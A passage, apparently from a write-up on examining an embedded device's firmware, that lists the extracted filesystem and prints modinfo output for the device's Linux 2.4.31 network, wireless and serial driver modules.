./lib/modules/2.4.31/net/ipv4/netfilter/addrlist.o
./lib/modules/2.4.31/net/ipv4/netfilter/ipt_prmark.o
./lib/modules/2.4.31/net/ipv4/netfilter/ipt_PRMARK.o
./lib/modules/2.4.31/net/ipv4/netfilter/ipt_hsmark.o
./lib/modules/2.4.31/net/ipv4/gre.o
./lib/modules/2.4.31/net/ipv4/eogre.o
./lib/modules/2.4.31/net/ath.o
./lib/modules/2.4.31/net/a5212_pci.o
./lib/modules/2.4.31/net/a5212.o
./lib/modules/2.4.31/net/a5211.o
./lib/modules/2.4.31/net/a5211_pci.o
./lib/modules/2.4.31/net/prism.o
./lib/modules/2.4.31/net/prism2_cs.o
./lib/modules/2.4.31/net/prism2_pci.o
./lib/modules/2.4.31/net/aironet.o
./lib/modules/2.4.31/net/anet-isa.o
./lib/modules/2.4.31/net/anet-pci.o
./lib/modules/2.4.31/net/a5210.o
./lib/modules/2.4.31/net/a5210_pci.o
./lib/modules/2.4.31/misc
./lib/modules/2.4.31/misc/logfw.o
./lib/modules/2.4.31/misc/trafflow.o
./lib/modules/2.4.31/misc/ulog.o
./lib/modules/2.4.31/misc/snif.o
./lib/modules/2.4.31/misc/logring.o
./lib/modules/2.4.31/misc/panics.o
./lib/modules/2.4.31/misc/p2p.o
./lib/modules/2.4.31/misc/btest.o
./lib/modules/2.4.31/misc/checkmod.o
./lib/modules/2.4.31/misc/wlan.o
./lib/modules/2.4.31/modules.dep.system
./lib/modules/2.4.31/modules.dep.security
./lib/modules/2.4.31/pcmcia
./lib/modules/2.4.31/pcmcia/arlan_cs.o
./lib/modules/2.4.31/modules.dep.wireless
./lib/modules/2.4.31/modules.dep
./lib/libuc++.so
./lib/libz.so
./lib/libumsg.so
./lib/libuxml++.so
./lib/libinstall.so
./lib/libufiber.so
./lib/libubox.so
./lib/liburadius.so
./lib/libnetext.so
./lib/libmac.so
./lib/libauth.so
./lib/libsnmp.so
./lib/libwebs.so
./lib/libwebc.so
./lib/libcrypto.so.0.9.8
./lib/libssl.so.0.9.8
./lib/libexpat.so.1.5.0
./lib/libexpat.so.1
./lib/libc.so.6
./lib/libcrypt.so.1
./lib/libdl.so.2
./lib/libpthread.so.0
./lib/libutil.so.1
./lib/libnsl.so.1
./lib/libm.so.6
./lib/libresolv.so.2
./lib/ld-linux.so.2
./lib/libnss_files.so.2
./lib/libudhcp.so
./lib/libssh.so
./lib/libauth2.so
./old
./old/system
./old/system/update
./old/system/halt
./old/system/reboot
./old/wireless
./old/wireless/update
./usr
./usr/sbin
./usr/sbin/telnetd
./usr/lib
./dev
./dev/autobaud
./dev/boot
./dev/btest
./dev/console
./dev/cua0
./dev/cua1
./dev/fancon
./dev/fd
./dev/fd0
./dev/flash
./dev/full
./dev/hda
./dev/hda1
./dev/hda2
./dev/hdb
./dev/hdb1
./dev/hdb2
./dev/hdc
./dev/hdc1
./dev/hdc2
./dev/hdd
./dev/hdd1
./dev/hdd2
./dev/hiddev0
./dev/hiddev1
./dev/hiddev10
./dev/hiddev11
./dev/hiddev12
./dev/hiddev13
./dev/hiddev14
./dev/hiddev15
./dev/hiddev2
./dev/hiddev3
./dev/hiddev4
./dev/hiddev5
./dev/hiddev6
./dev/hiddev7
./dev/hiddev8
./dev/hiddev9
./dev/kmem
./dev/log0
./dev/log1
./dev/log10
./dev/log100
./dev/log101
./dev/log102
./dev/log103
./dev/log104
./dev/log105
./dev/log106
./dev/log107
./dev/log108
./dev/log109
./dev/log11
./dev/log110
./dev/log111
./dev/log112
./dev/log113
./dev/log114
./dev/log115
./dev/log116
./dev/log117
./dev/log118
./dev/log119
./dev/log12
./dev/log120
./dev/log121
./dev/log2
./dev/log122
./dev/log123
./dev/log124
./dev/log125
./dev/log126
./dev/log127
./dev/log13
./dev/log14
./dev/log15
./dev/log16
./dev/log17
./dev/log18
./dev/log19
./dev/log20
./dev/log21
./dev/log22
./dev/log23
./dev/log24
./dev/log240
./dev/log241
./dev/log242
./dev/log243
./dev/log244
./dev/log245
./dev/log246
./dev/log247
./dev/log248
./dev/log249
./dev/log25
./dev/log255
./dev/log26
./dev/log27
./dev/log28
./dev/log29
./dev/log3
./dev/log30
./dev/log31
./dev/log32
./dev/log33
./dev/log34
./dev/log35
./dev/log36
./dev/log37
./dev/log38
./dev/log39
./dev/log4
./dev/log40
./dev/log41
./dev/log42
./dev/log43
./dev/log44
./dev/log45
./dev/log46
./dev/log47
./dev/log48
./dev/log49
./dev/log5
./dev/log50
./dev/log51
./dev/log52
./dev/log53
./dev/log54
./dev/log55
./dev/log56
./dev/log6
./dev/log57
./dev/log58
./dev/log59
./dev/log60
./dev/log61
./dev/log62
./dev/log63
./dev/log64
./dev/log65
./dev/log66
./dev/log67
./dev/log68
./dev/log69
./dev/log7
./dev/log70
./dev/log71
./dev/log72
./dev/log73
./dev/log74
./dev/log75
./dev/log76
./dev/log77
./dev/log78
./dev/log79
./dev/log8
./dev/log80
./dev/log81
./dev/log82
./dev/log83
./dev/log84
./dev/log85
./dev/log86
./dev/log87
./dev/log88
./dev/log89
./dev/log9
./dev/log90
./dev/log91
./dev/log92
./dev/log93
./dev/log94
./dev/log95
./dev/log96
./dev/log97
./dev/log98
./dev/log99
./dev/logfw
./dev/mem
./dev/null
./dev/panics
./dev/port
./dev/ptmx
./dev/pts
./dev/ram
./dev/ram1
./dev/random
./dev/root
./dev/rtc
./dev/ticker
./dev/trafflow
./dev/tty
./dev/tty0
./dev/tty1
./dev/tty2
./dev/tty3
./dev/tty4
./dev/tty5
./dev/tty6
./dev/tty7
./dev/tty8
./dev/tty9
./dev/ttyACM0
./dev/ttyACM1
./dev/ttyACM10
./dev/ttyACM11
./dev/ttyACM12
./dev/ttyACM13
./dev/ttyACM14
./dev/ttyACM15
./dev/ttyACM16
./dev/ttyACM17
./dev/ttyACM18
./dev/ttyACM19
./dev/ttyACM2
./dev/ttyACM20
./dev/ttyACM21
./dev/ttyACM22
./dev/ttyACM23
./dev/ttyACM24
./dev/ttyACM25
./dev/ttyACM26
./dev/ttyACM27
./dev/ttyACM28
./dev/ttyACM29
./dev/ttyACM3
./dev/ttyACM30
./dev/ttyACM31
./dev/ttyACM4
./dev/ttyACM5
./dev/ttyACM6
./dev/ttyACM7
./dev/ttyACM8
./dev/ttyACM9
./dev/ttyC0
./dev/ttyC1
./dev/ttyC10
./dev/ttyC11
./dev/ttyC12
./dev/ttyC13
./dev/ttyC14
./dev/ttyC15
./dev/ttyC16
./dev/ttyC17
./dev/ttyC18
./dev/ttyC19
./dev/ttyC2
./dev/ttyC20
./dev/ttyC21
./dev/ttyC22
./dev/ttyC23
./dev/ttyC24
./dev/ttyC25
./dev/ttyC26
./dev/ttyC27
./dev/ttyC28
./dev/ttyC29
./dev/ttyC3
./dev/ttyC30
./dev/ttyC31
./dev/ttyC4
./dev/ttyC5
./dev/ttyC6
./dev/ttyC7
./dev/ttyC8
./dev/ttyC9
./dev/ttyDB0
./dev/ttyDB1
./dev/ttyDB10
./dev/ttyDB11
./dev/ttyDB12
./dev/ttyDB13
./dev/ttyDB14
./dev/ttyDB15
./dev/ttyDB16
./dev/ttyDB17
./dev/ttyDB18
./dev/ttyDB19
./dev/ttyDB2
./dev/ttyDB20
./dev/ttyDB21
./dev/ttyDB22
./dev/ttyDB23
./dev/ttyDB24
./dev/ttyDB25
./dev/ttyDB26
./dev/ttyDB27
./dev/ttyDB28
./dev/ttyDB29
./dev/ttyDB3
./dev/ttyDB30
./dev/ttyDB31
./dev/ttyDB4
./dev/ttyDB5
./dev/ttyDB6
./dev/ttyDB7
./dev/ttyDB8
./dev/ttyDB9
./dev/ttyS0
./dev/ttyS1
./dev/ttyS16
./dev/ttyS17
./dev/ttyS18
./dev/ttyS19
./dev/ttyS2
./dev/ttyS3
./dev/ttySI0
./dev/ttySI1
./dev/ttySI10
./dev/ttySI11
./dev/ttySI12
./dev/ttySI13
./dev/ttySI14
./dev/ttySI15
./dev/ttySI16
./dev/ttySI17
./dev/ttySI18
./dev/ttySI19
./dev/ttySI2
./dev/ttySI20
./dev/ttySI21
./dev/ttySI22
./dev/ttySI23
./dev/ttySI24
./dev/ttySI25
./dev/ttySI26
./dev/ttySI27
./dev/ttySI28
./dev/ttySI29
./dev/ttySI3
./dev/ttySI30
./dev/ttySI31
./dev/ttySI4
./dev/ttySI5
./dev/ttySI6
./dev/ttySI7
./dev/ttySI8
./dev/ttySI9
./dev/ttyUSB0
./dev/ttyUSB1
./dev/ttyUSB10
./dev/ttyUSB11
./dev/ttyUSB12
./dev/ttyUSB13
./dev/ttyUSB14
./dev/ttyUSB15
./dev/ttyUSB2
./dev/ttyUSB3
./dev/ttyUSB4
./dev/ttyUSB5
./dev/ttyUSB6
./dev/ttyUSB7
./dev/ttyUSB8
./dev/ttyUSB9
./dev/ttyp0
./dev/ttyp1
./dev/ttyp2
./dev/ttyp3
./dev/ttyp4
./dev/ttyp5
./dev/ttyp6
./dev/ttyp7
./dev/ttyp8
./dev/ttyp9
./dev/ttypa
./dev/ttypb
./dev/ttypc
./dev/ttypd
./dev/ttype
./dev/ttypf
./dev/urandom
./dev/watchdog
./dev/zero
./dev/log
./initrd
./tmp
./tmp/pacdsock
./tmp/novasock
./tmp/.fibnet
./tmp/zserv.api
./root
./root/prism.hex
./CDINSTALL
./ram
./.asked

This has opened up the embedded device rather nicely for us, which will makes things a lot easier for us.

Exploring the kernel modules

As mentioned above, a bunch of the kernel modules appear to have non-standard filenames (which would appear to be custom modules). Let's have a more through look at them (with additional formatting to make it easier to read):

[box] $ find . -type f -iname *o -exec modinfo '{}' \;
filename:       ./drivers/net/mii.o
kernel_version: 2.4.31
author:         Jeff Garzik <jgarzik@pobox.com>
description:    MII hardware support library
license:        GPL

filename:       ./drivers/net/slhc.o
kernel_version: 2.4.31
license:        Dual BSD/GPL

filename:       ./drivers/net/via-rhine.o
kernel_version: 2.4.31
author:         Donald Becker <becker@scyld.com>
description:    VIA Rhine PCI Fast Ethernet driver
license:        GPL
parm_max_interrupt_work:i
parm_debug:     i
parm_disable_sleep_mode:i
parm_rx_copybreak:i
parm_backoff:   i
parm_options:   1-8i
parm_full_duplex:1-8i
parm_desc_max_interrupt_work:VIA Rhine maximum events handled per interrupt
parm_desc_debug:VIA Rhine debug level (0-7)
parm_desc_disable_sleep_mode:VIA Rhine d3 state disable (1)
parm_desc_rx_copybreak:VIA Rhine copy breakpoint for copy-only-tiny-frames
parm_desc_backoff:VIA Rhine: Bits 0-3: backoff algorithm
parm_desc_options:VIA Rhine: Bits 0-3: media type, bit 17: full duplex
parm_desc_full_duplex:VIA Rhine full duplex setting(s) (1)

filename:       ./drivers/net/hp100.o
kernel_version: 2.4.31
parm_hp100_rx_ratio:1i
parm_hp100_priority_tx:1i
parm_hp100_mode:1i
license:        GPL
author:         Jaroslav Kysela <perex@suse.cz>, Siegfried "Frieder" Loeffler (dg1sek) <floeff@mathematik.uni-stuttgart.de>
description:    HP CASCADE Architecture Driver for 100VG-AnyLan Network Adapters
parm_hp100_port:1-5i
parm_hp100_name:1-5c16

filename:       ./drivers/net/8390.o
kernel_version: 2.4.31
license:        GPL

filename:       ./drivers/net/ne2k-pci.o
kernel_version: 2.4.31
author:         Donald Becker / Paul Gortmaker
description:    PCI NE2000 clone driver
license:        GPL
parm_debug:     i
parm_options:   1-8i
parm_full_duplex:1-8i
parm_desc_debug:debug level (1-2)
parm_desc_options:Bit 5: full duplex
parm_desc_full_duplex:full duplex setting(s) (1)

filename:       ./drivers/net/ne.o
kernel_version: 2.4.31
parm_io:        1-4i
parm_irq:       1-4i
parm_bad:       1-4i
parm_desc_io:   I/O base address(es),required
parm_desc_irq:  IRQ number(s)
parm_desc_bad:  Accept card(s) with bad signatures
description:    NE1000/NE2000 ISA/PnP Ethernet driver
license:        GPL

filename:       ./drivers/net/lance.o
kernel_version: 2.4.31
parm_io:        1-8i
parm_dma:       1-8i
parm_irq:       1-8i
parm_lance_debug:i
parm_desc_io:   LANCE/PCnet I/O base address(es),required
parm_desc_dma:  LANCE/PCnet ISA DMA channel (ignored for some devices)
parm_desc_irq:  LANCE/PCnet IRQ number (ignored for some devices)
parm_desc_lance_debug:LANCE/PCnet debug level (0-7)
license:        GPL

filename:       ./drivers/net/3c509.o
kernel_version: 2.4.31
parm_debug:     i
parm_irq:       1-8i
parm_xcvr:      1-12i
parm_max_interrupt_work:i
parm_desc_debug:debug level (0-6)
parm_desc_irq:  IRQ number(s) (assigned)
parm_desc_xcvr: tranceiver(s) (0=internal, 1=external)
parm_desc_max_interrupt_work:maximum events handled per interrupt
description:    3Com Etherlink III (3c509, 3c509B) ISA/PnP ethernet driver
license:        GPL

filename:       ./drivers/net/3c59x.o
kernel_version: 2.4.31
author:         Donald Becker <becker@scyld.com>
description:    3Com 3c59x/3c9xx ethernet driver LK1.1.18 1 July 2002
license:        GPL
parm_debug:     i
parm_global_options:i
parm_options:   1-8i
parm_global_full_duplex:i
parm_full_duplex:1-8i
parm_hw_checksums:1-8i
parm_flow_ctrl: 1-8i
parm_global_enable_wol:i
parm_enable_wol:1-8i
parm_rx_copybreak:i
parm_max_interrupt_work:i
parm_compaq_ioaddr:i
parm_compaq_irq:i
parm_compaq_device_id:i
parm_watchdog:  i
parm_desc_debug:3c59x debug level (0-6)
parm_desc_options:3c59x: Bits 0-3: media type, bit 4: bus mastering, bit 9: full duplex
parm_desc_global_options:3c59x: same as options, but applies to all NICs if options is unset
parm_desc_full_duplex:3c59x full duplex setting(s) (1)
parm_desc_global_full_duplex:3c59x: same as full_duplex, but applies to all NICs if options is unset
parm_desc_hw_checksums:3c59x Hardware checksum checking by adapter(s) (0-1)
parm_desc_flow_ctrl:3c59x 802.3x flow control usage (PAUSE only) (0-1)
parm_desc_enable_wol:3c59x: Turn on Wake-on-LAN for adapter(s) (0-1)
parm_desc_global_enable_wol:3c59x: same as enable_wol, but applies to all NICs if options is unset
parm_desc_rx_copybreak:3c59x copy breakpoint for copy-only-tiny-frames
parm_desc_max_interrupt_work:3c59x maximum events handled per interrupt
parm_desc_compaq_ioaddr:3c59x PCI I/O base address (Compaq BIOS problem workaround)
parm_desc_compaq_irq:3c59x PCI IRQ number (Compaq BIOS problem workaround)
parm_desc_compaq_device_id:3c59x PCI device ID (Compaq BIOS problem workaround)
parm_desc_watchdog:3c59x transmit timeout in milliseconds

filename:       ./drivers/net/sis900.o
kernel_version: 2.4.31
author:         Jim Huang <cmhuang@sis.com.tw>, Ollie Lho <ollie@sis.com.tw>
description:    SiS 900 PCI Fast Ethernet driver
license:        GPL
parm_multicast_filter_limit:i
parm_max_interrupt_work:i
parm_debug:     i
parm_desc_multicast_filter_limit:SiS 900/7016 maximum number of filtered multicast addresses
parm_desc_max_interrupt_work:SiS 900/7016 maximum events handled per interrupt
parm_desc_debug:SiS 900/7016 debug level (2-4)

filename:       ./drivers/net/8139too.o
kernel_version: 2.4.31
author:         Jeff Garzik <jgarzik@pobox.com>
description:    RealTek RTL-8139 Fast Ethernet driver
license:        GPL
parm_multicast_filter_limit:i
parm_max_interrupt_work:i
parm_media:     1-8i
parm_full_duplex:1-8i
parm_debug:     i
parm_desc_debug:8139too bitmapped message enable number
parm_desc_multicast_filter_limit:8139too maximum number of filtered multicast addresses
parm_desc_max_interrupt_work:8139too maximum events handled per interrupt
parm_desc_media:8139too: Bits 4+9: force full duplex, bit 5: 100Mbps
parm_desc_full_duplex:8139too: Force full duplex for board(s) (1)

filename:       ./drivers/net/pcnet32.o
kernel_version: 2.4.31
parm_debug:     i
parm_desc_debug:pcnet32 debug level
parm_max_interrupt_work:i
parm_desc_max_interrupt_work:pcnet32 maximum events handled per interrupt
parm_rx_copybreak:i
parm_desc_rx_copybreak:pcnet32 copy breakpoint for copy-only-tiny-frames
parm_tx_start_pt:i
parm_desc_tx_start_pt:pcnet32 transmit start point (0-3)
parm_pcnet32vlb:i
parm_desc_pcnet32vlb:pcnet32 Vesa local bus (VLB) support (0/1)
parm_options:   1-8i
parm_desc_options:pcnet32 initial option setting(s) (0-15)
parm_full_duplex:1-8i
parm_desc_full_duplex:pcnet32 full duplex setting(s) (1)
parm_homepna:   1-8i
parm_desc_homepna:pcnet32 mode for 79C978 cards (1 for HomePNA, 0 for Ethernet, default Ethernet
author:         Thomas Bogendoerfer
description:    Driver for PCnet32 and PCnetPCI based ethercards
license:        GPL

filename:       ./drivers/net/winbond-840.o
kernel_version: 2.4.31
author:         Donald Becker <becker@scyld.com>
description:    Winbond W89c840 Ethernet driver
license:        GPL
parm_max_interrupt_work:i
parm_debug:     i
parm_rx_copybreak:i
parm_multicast_filter_limit:i
parm_options:   1-8i
parm_full_duplex:1-8i
parm_desc_max_interrupt_work:winbond-840 maximum events handled per interrupt
parm_desc_debug:winbond-840 debug level (0-6)
parm_desc_rx_copybreak:winbond-840 copy breakpoint for copy-only-tiny-frames
parm_desc_multicast_filter_limit:winbond-840 maximum number of filtered multicast addresses
parm_desc_options:winbond-840: Bits 0-3: media type, bit 17: full duplex
parm_desc_full_duplex:winbond-840 full duplex setting(s) (1)

filename:       ./drivers/net/tulip/tulip.o
kernel_version: 2.4.31
author:         The Linux Kernel Team
description:    Digital 21*4* Tulip ethernet driver
license:        GPL
parm_tulip_debug:i
parm_max_interrupt_work:i
parm_rx_copybreak:i
parm_csr0:      i
parm_options:   1-8i
parm_full_duplex:1-8i

filename:       ./drivers/net/ns83820.o
kernel_version: 2.4.31
author:         Benjamin LaHaise <bcrl@redhat.com>
description:    National Semiconductor DP83820 10/100/1000 driver
license:        GPL
parm_lnksts:    i
parm_desc_lnksts:Polarity of LNKSTS bit
parm_ihr:       i
parm_desc_ihr:  Time in 100 us increments to delay interrupts (range 0-127)
parm_reset_phy: i
parm_desc_reset_phy:Set to 1 to reset the PHY on startup

filename:       ./drivers/net/sundance.o
kernel_version: 2.4.31
author:         Donald Becker <becker@scyld.com>
description:    Sundance Alta Ethernet driver
license:        GPL
parm_debug:     i
parm_rx_copybreak:i
parm_media:     1-8s
parm_flowctrl:  i
parm_desc_debug:Sundance Alta debug level (0-5)
parm_desc_rx_copybreak:Sundance Alta copy breakpoint for copy-only-tiny-frames
parm_desc_flowctrl:Sundance Alta flow control [0|1]

filename:       ./drivers/net/dmfe.o
kernel_version: 2.4.31
author:         Sten Wang, sten_wang@davicom.com.tw
description:    Davicom DM910X fast ethernet driver
license:        GPL
parm_debug:     i
parm_mode:      i
parm_cr6set:    i
parm_chkmode:   i
parm_HPNA_mode: i
parm_HPNA_rx_cmd:i
parm_HPNA_tx_cmd:i
parm_HPNA_NoiseFloor:i
parm_SF_mode:   i
parm_desc_debug:Davicom DM9xxx enable debugging (0-1)
parm_desc_mode: Davicom DM9xxx: Bit 0: 10/100Mbps, bit 2: duplex, bit 8: HomePNA
parm_desc_SF_mode:Davicom DM9xxx special function (bit 0: VLAN, bit 1 Flow Control, bit 2: TX pause packet)

filename:       ./drivers/net/e100/e100.o
kernel_version: 2.4.31
author:         Intel Corporation, <linux.nics@intel.com>
description:    Intel(R) PRO/100 Network Driver
license:        GPL
parm_TxDescriptors:1-16i
parm_desc_TxDescriptors:Number of transmit descriptors
parm_RxDescriptors:1-16i
parm_desc_RxDescriptors:Number of receive descriptors
parm_XsumRX:    1-16i
parm_desc_XsumRX:Disable or enable Receive Checksum offload
parm_e100_speed_duplex:1-16i
parm_desc_e100_speed_duplex:Speed and Duplex settings
parm_ucode:     1-16i
parm_desc_ucode:Disable or enable microcode loading
parm_ber:       1-16i
parm_desc_ber:  Value for the BER correction algorithm
parm_flow_control:1-16i
parm_desc_flow_control:Disable or enable Ethernet PAUSE frames processing
parm_IntDelay:  1-16i
parm_desc_IntDelay:Value for CPU saver's interrupt delay
parm_BundleSmallFr:1-16i
parm_desc_BundleSmallFr:Disable or enable interrupt bundling of small frames
parm_BundleMax: 1-16i
parm_desc_BundleMax:Maximum number for CPU saver's packet bundling
parm_IFS:       1-16i
parm_desc_IFS:  Disable or enable the adaptive IFS algorithm
kernel_version: 2.4.31
kernel_version: 2.4.31
kernel_version: 2.4.31
kernel_version: 2.4.31

filename:       ./drivers/net/tg3.o
kernel_version: 2.4.31
author:         David S. Miller (davem@redhat.com) and Jeff Garzik (jgarzik@pobox.com)
description:    Broadcom Tigon3 ethernet driver
license:        GPL
parm_tg3_debug: i
parm_desc_tg3_debug:Tigon3 bitmapped debugging message enable value

filename:       ./drivers/net/natsemi.o
kernel_version: 2.4.31
author:         Donald Becker <becker@scyld.com>
description:    National Semiconductor DP8381x series PCI Ethernet driver
license:        GPL
parm_max_interrupt_work:i
parm_mtu:       i
parm_debug:     i
parm_rx_copybreak:i
parm_intr_holdoff_value:i
parm_options:   1-8i
parm_full_duplex:1-8i
parm_desc_max_interrupt_work:DP8381x maximum events handled per interrupt
parm_desc_mtu:  DP8381x MTU (all boards)
parm_desc_debug:DP8381x default debug level
parm_desc_rx_copybreak:DP8381x copy breakpoint for copy-only-tiny-frames
parm_desc_intr_holdoff_value:DP83816 interrupt holdoff in usec (DP83816 only)
parm_desc_options:DP8381x: Bits 0-3: media type, bit 17: full duplex
parm_desc_full_duplex:DP8381x full duplex setting(s) (1)

filename:       ./drivers/net/b44.o
kernel_version: 2.4.31
author:         David S. Miller (davem@redhat.com)
description:    Broadcom 4400 10/100 PCI ethernet driver
license:        GPL
parm_b44_debug: i
parm_desc_b44_debug:B44 bitmapped debugging message enable value

filename:       ./drivers/net/tlan.o
kernel_version: 2.4.31
author:         Maintainer: Samuel Chessman <chessman@tux.org>
description:    Driver for TI ThunderLAN based ethernet PCI adapters
license:        GPL
parm_aui:       1-8i
parm_duplex:    1-8i
parm_speed:     1-8i
parm_debug:     i
parm_bbuf:      i
parm_desc_aui:  ThunderLAN use AUI port(s) (0-1)
parm_desc_duplex:ThunderLAN duplex setting(s) (0-default, 1-half, 2-full)
parm_desc_speed:ThunderLAN port speen setting(s) (0,10,100)
parm_desc_debug:ThunderLAN debug mask
parm_desc_bbuf: ThunderLAN use big buffer (0-1)

filename:       ./drivers/net/bonding/bonding.o
kernel_version: 2.4.31
parm_devname:   s
parm_desc_devname:Network device name to create
parm_miimon:    i
parm_desc_miimon:Link check interval in milliseconds
parm_updelay:   i
parm_desc_updelay:Delay before considering link up, in milliseconds
parm_downdelay: i
parm_desc_downdelay:Delay before considering link down, in milliseconds
parm_use_carrier:i
parm_desc_use_carrier:Use netif_carrier_ok (vs MII ioctls) in miimon; 0 for off, 1 for on (default)
parm_mode:      s
parm_desc_mode: Mode of operation : 0 for round robin, 1 for active-backup, 2 for xor
parm_primary:   s
parm_desc_primary:Primary network device to use
parm_lacp_rate: s
parm_desc_lacp_rate:LACPDU tx rate to request from 802.3ad partner (slow/fast)
parm_arp_interval:i
parm_desc_arp_interval:arp interval in milliseconds
parm_arp_ip_target:1-16s
parm_desc_arp_ip_target:arp targets in n.n.n.n form
license:        GPL
description:    Ethernet Channel Bonding Driver, v2.6.0
author:         Thomas Davis, tadavis@lbl.gov and many others
device:         most ethernet devices

filename:       ./drivers/net/imq.o
kernel_version: 2.4.31
license:        GPL

filename:       ./drivers/net/pcmcia/pcnet_cs.o
kernel_version: 2.4.31
author:         David Hinds <dahinds@users.sourceforge.net>
description:    NE2000 compatible PCMCIA ethernet driver
license:        GPL
parm_irq_mask:  i
parm_irq_list:  1-4i
parm_if_port:   i
parm_use_big_buf:i
parm_mem_speed: i
parm_delay_output:i
parm_delay_time:i
parm_use_shmem: i
parm_full_duplex:i
parm_hw_addr:   6i

filename:       ./drivers/net/il.o
kernel_version: 2.4.31
kernel_version: 2.4.31

filename:       ./drivers/net/sk98lin.o
kernel_version: 2.4.31
author:         Mirko Lindner <mlindner@syskonnect.de>
description:    SysKonnect SK-NET Gigabit Ethernet SK-98xx driver
license:        GPL
parm_Speed_A:   1-16s
parm_Speed_B:   1-16s
parm_AutoNeg_A: 1-16s
parm_AutoNeg_B: 1-16s
parm_DupCap_A:  1-16s
parm_DupCap_B:  1-16s
parm_FlowCtrl_A:1-16s
parm_FlowCtrl_B:1-16s
parm_Role_A:    1-16s
parm_Role_B:    1-16s
parm_ConType:   1-16s
parm_PrefPort:  1-16s
parm_RlmtMode:  1-16s
parm_IntsPerSec:1-16i
parm_Moderation:1-16s
parm_ModerationMask:1-16s
parm_LowLatency:1-16s
kernel_version: 2.4.31
kernel_version: 2.4.31
kernel_version: 2.4.31
kernel_version: 2.4.31
kernel_version: 2.4.31
kernel_version: 2.4.31
kernel_version: 2.4.31
kernel_version: 2.4.31
kernel_version: 2.4.31
kernel_version: 2.4.31
kernel_version: 2.4.31
kernel_version: 2.4.31
kernel_version: 2.4.31
kernel_version: 2.4.31
kernel_version: 2.4.31
kernel_version: 2.4.31
kernel_version: 2.4.31
kernel_version: 2.4.31

filename:       ./drivers/net/velocityget.o
kernel_version: 2.4.31
author:         VIA Networking Technologies, Inc.
license:        GPL
description:    VIA Networking Velocity Family Gigabit Ethernet Adapter Driver
parm_RxDescriptors:1-8i
parm_desc_RxDescriptors:Number of receive descriptors
parm_TxDescriptors:1-8i
parm_desc_TxDescriptors:Number of transmit descriptors
parm_VID_setting:1-8i
parm_desc_VID_setting:802.1Q VLAN ID
parm_rx_thresh: 1-8i
parm_desc_rx_thresh:Receive fifo threshold
parm_DMA_length:1-8i
parm_desc_DMA_length:DMA length
parm_enable_tagging:1-8i
parm_desc_enable_tagging:Enable 802.1Q tagging
parm_IP_byte_align:1-8i
parm_desc_IP_byte_align:Enable IP header dword aligned
parm_txcsum_offload:1-8i
parm_desc_txcsum_offload:Enable transmit packet checksum offload
parm_flow_control:1-8i
parm_desc_flow_control:Enable flow control ability
parm_speed_duplex:1-8i
parm_desc_speed_duplex:Setting the speed and duplex mode
parm_ValPktLen: 1-8i
parm_desc_ValPktLen:Receiving or Drop invalid 802.3 frame
parm_wol_opts:  1-8i
parm_desc_wol_opts:Wake On Lan options
parm_int_works: 1-8i
parm_desc_int_works:Number of packets per interrupt services
parm_EnableMRDPL:1-8i
parm_desc_EnableMRDPL:Memory-Read-Multiple ability
kernel_version: 2.4.31
kernel_version: 2.4.31

filename:       ./drivers/net/r8169.o
kernel_version: 2.4.31
author:         Realtek
description:    RealTek RTL-8169 Gigabit Ethernet driver
parm_media:     1-8i
license:        GPL

filename:       ./drivers/net/e1000.o
kernel_version: 2.4.31
author:         Intel Corporation, <linux.nics@intel.com>
description:    Intel(R) PRO/1000 Network Driver
license:        GPL
parm_debug:     i
parm_desc_debug:Debug level (0=none,...,16=all)
kernel_version: 2.4.31
kernel_version: 2.4.31
parm_TxDescriptors:1-32i
parm_desc_TxDescriptors:Number of transmit descriptors
parm_RxDescriptors:1-32i
parm_desc_RxDescriptors:Number of receive descriptors
parm_Speed:     1-32i
parm_desc_Speed:Speed setting
parm_Duplex:    1-32i
parm_desc_Duplex:Duplex setting
parm_AutoNeg:   1-32i
parm_desc_AutoNeg:Advertised auto-negotiation setting
parm_FlowControl:1-32i
parm_desc_FlowControl:Flow Control setting
parm_XsumRX:    1-32i
parm_desc_XsumRX:Disable or enable Receive Checksum offload
parm_TxIntDelay:1-32i
parm_desc_TxIntDelay:Transmit Interrupt Delay
parm_TxAbsIntDelay:1-32i
parm_desc_TxAbsIntDelay:Transmit Absolute Interrupt Delay
parm_RxIntDelay:1-32i
parm_desc_RxIntDelay:Receive Interrupt Delay
parm_RxAbsIntDelay:1-32i
parm_desc_RxAbsIntDelay:Receive Absolute Interrupt Delay
parm_InterruptThrottleRate:1-32i
parm_desc_InterruptThrottleRate:Interrupt Throttling Rate
kernel_version: 2.4.31
kernel_version: 2.4.31

filename:       ./drivers/net/ipsec.o
kernel_version: 2.4.31
kernel_version: 2.4.31
kernel_version: 2.4.31
kernel_version: 2.4.31
kernel_version: 2.4.31
kernel_version: 2.4.31
kernel_version: 2.4.31
kernel_version: 2.4.31

filename:       ./drivers/net/wireless/hermes.o
kernel_version: 2.4.31
description:    Low-level driver helper for Lucent Hermes chipset and Prism II HFA384x wireless MAC controller
author:         David Gibson <hermes@gibson.dropbear.id.au>
license:        Dual MPL/GPL

filename:       ./drivers/net/wireless/orinoco.o
kernel_version: 2.4.31
author:         David Gibson <hermes@gibson.dropbear.id.au>
description:    Driver for Lucent Orinoco, Prism II based and similar wireless cards
license:        Dual MPL/GPL

filename:       ./drivers/net/wireless/orinoco_cs.o
kernel_version: 2.4.31
author:         David Gibson <hermes@gibson.dropbear.id.au>
description:    Driver for PCMCIA Lucent Orinoco, Prism II based and similar wireless cards
license:        Dual MPL/GPL
parm_irq_mask:  i
parm_irq_list:  1-4i
parm_ignore_cis_vcc:i

filename:       ./drivers/char/softdog.o
kernel_version: 2.4.31
parm_soft_margin:i
parm_soft_noboot:i
license:        GPL
parm_nowayout:  i
parm_desc_nowayout:Watchdog cannot be stopped once started (default=CONFIG_WATCHDOG_NOWAYOUT)

filename:       ./drivers/char/cyclades.o
kernel_version: 2.4.31
parm_maddr:     1-4l
parm_irq:       1-4i
license:        GPL

filename:       ./drivers/char/pcmcia/serial_cs.o
kernel_version: 2.4.31
author:         David Hinds <dahinds@users.sourceforge.net>
description:    PCMCIA serial card driver
license:        Dual MPL/GPL
parm_irq_mask:  i
parm_irq_list:  1-4i
parm_do_sound:  i
parm_buggy_uart:i

filename:       ./drivers/char/ticker.o
kernel_version: 2.4.31

filename:       ./drivers/char/databooster.o
kernel_version: 2.4.31
description:    TCL DataBooster serial driver
author:         Mansour R <mansourr@teccon.co.uk>

filename:       ./drivers/char/mxser.o
kernel_version: 2.4.31
author:         William Chen
description:    MOXA Smartio/Industio Family Multiport Board Device Driver
parm_ioaddr:    1-4i
parm_ttymajor:  i
parm_calloutmajor:i
parm_verbose:   i

filename:       ./drivers/pnp/isa-pnp.o
